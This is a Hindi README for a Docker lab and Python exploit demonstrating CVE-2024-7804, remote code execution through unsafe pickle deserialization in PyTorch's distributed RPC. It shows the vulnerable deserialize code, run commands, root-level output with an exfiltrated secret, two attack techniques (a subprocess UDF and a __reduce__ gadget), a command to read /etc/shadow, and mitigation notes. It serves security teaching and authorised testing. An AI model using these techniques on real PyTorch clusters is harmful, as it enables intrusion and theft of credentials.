
स्व-निहित Docker लैब और Python एक्सप्लॉइट जो CVE-2024-7804 को प्रदर्शित करता है, जो PyTorch के वितरित RPC में असुरक्षित pickle डिसीरियलाइज़ेशन (CWE-502) के माध्यम से एक गंभीर RCE है। इसमें दो शोषण तकनीकें और निवारण मार्गदर्शन शामिल हैं।
CVE-2024-7804 के लिए स्व-निहित लैब + एक्सप्लॉइट: PyTorch के वितरित RPC फ्रेमवर्क (torch.distributed.rpc) में अविश्वसनीय डेटा के असुरक्षित डिसीरियलाइज़ेशन (CWE-502) के माध्यम से रिमोट कोड निष्पादन।
torch <= 2.3.1torch/distributed/rpc/internal.py — _InternalRPCPickler.deserialize()नोट: यह सलाह बाद में अनुरक्षकों और Red Hat द्वारा "ज्ञात कार्यक्षमता" के रूप में वापस ली/अस्वीकार कर दी गई थी — PyTorch RPC डिज़ाइन द्वारा एक विश्वसनीय-सहकर्मी प्रणाली है। लैब अभी भी रिपोर्ट की गई समस्या का एक सटीक, व्यावहारिक प्रदर्शन है।
हर RPC कॉल एक PythonUDF नामितटपल (, , ) भेजता है। प्राप्त करने वाले नोड पर इसे एक के साथ पुनर्निर्मित किया जाता है, जिसमें कोई अनुमतिसूची और कोई अखंडता जांच नहीं होती:
funcargskwargspickle.Unpickler# torch/distributed/rpc/internal.py (torch 2.3.1)
def deserialize(self, binary_data, tensor_table):
...
unpickler = _unpickler(io.BytesIO(binary_data)) # _unpickler = pickle.Unpickler
ret = unpickler.load() # <-- हमलावर-नियंत्रित pickle
...
कोई भी सहकर्मी जो RPC "विश्व" में शामिल हो सकता है, नोड को मनमाना कोड चलाने के लिए मजबूर कर सकता है — या तो pickle __reduce__ गैजेट के माध्यम से जो load() के दौरान फायर होता है, या केवल किसी भी आयात योग्य कॉल करने योग्य को UDF के रूप में नामित करके, क्योंकि कुछ भी नोड को निष्पादित करने से प्रतिबंधित नहीं करता।
CVE-2024-7804/
├── docker-compose.yml # पीड़ित + हमलावर एक ब्रिज नेटवर्क पर
├── lab/
│ ├── Dockerfile # python:3.11-slim + torch 2.3.1 (CPU) — कमजोर इमेज
│ └── server.py # पीड़ित: एक भरोसेमंद RPC वर्कर जो सहकर्मियों की प्रतीक्षा करता है
└── exploit/
└── exploit.py # हमलावर: विश्व में शामिल होता है और पीड़ित पर RCE करता है
Compose प्लगइन के साथ Docker। केवल CPU (कोई GPU नहीं), amd64 और arm64 पर काम करता है।
# 1. कमजोर पीड़ित नोड शुरू करें (रैंक 0, एक सहकर्मी की प्रतीक्षा करता है)
docker compose up --build -d victim
# 2. एक्सप्लॉइट फायर करें (डिफ़ॉल्ट: पीड़ित पर एक कमांड चलाएँ और उसका stdout वापस पाएँ)
docker compose run --rm attacker
# 3. सब कुछ नीचे करें
docker compose down
[attacker] ===== पीड़ित से लौटाया गया कमांड आउटपुट =====
uid=0(root) gid=0(root) groups=0(root)
victim
--- बाहर निकाला गया गुप्त डेटा ---
CLUSTER_API_KEY=sk-live-9c1f4b7e-DO-NOT-LEAK
[attacker] ===== आउटपुट का अंत =====
हमलावर ने पीड़ित पर रूट के रूप में कमांड निष्पादित किए और एक फ़ाइल बाहर निकाली जिसे उसे कभी उजागर नहीं करना था।
| कमांड | यह क्या दिखाता है |
|---|---|
docker compose run --rm attacker | subprocess.check_output को UDF के रूप में भेजता है। पीड़ित कमांड चलाता है और उसका stdout लौटाता है — एक कॉल में RCE और बाहर निकालना। |
docker compose run --rm attacker python exploit.py --reduce | एक ऐसी वस्तु भेजता है जिसका __reduce__ os.system चलाता है जब पीड़ित पेलोड को अनपिकल करता है — डिसीरियलाइज़ेशन समय पर RCE (CWE-502 का सार), UDF को कॉल करने से पहले भी। |
कस्टम कमांड:
docker compose run --rm attacker python exploit.py --cmd "cat /etc/shadow"
--reduce के लिए, कमांड पीड़ित पर चलता है, इसलिए इसे वहाँ देखें:
docker compose run --rm attacker python exploit.py --reduce --cmd "id"
docker compose logs victim # आउटपुट पीड़ित के लॉग में दिखाई देता है
--reduce के लिए पीड़ित लॉग torch/distributed/rpc/internal.py, लाइन ~207 (python_udf.func(...)) पर एक ट्रेसबैक के साथ समाप्त होता है — प्रमाण कि पेलोड पहले ही असुरक्षित अनपिकलर द्वारा पुनर्निर्मित और निष्पादित किया जा चुका था।
29500) को कभी भी अविश्वसनीय नेटवर्क पर उजागर न करें।केवल शिक्षा और अधिकृत सुरक्षा परीक्षण के लिए। लैब जानबूझकर कमजोर है — इसे तैनात न करें, और एक्सप्लॉइट केवल इस लैब के विरुद्ध चलाएँ।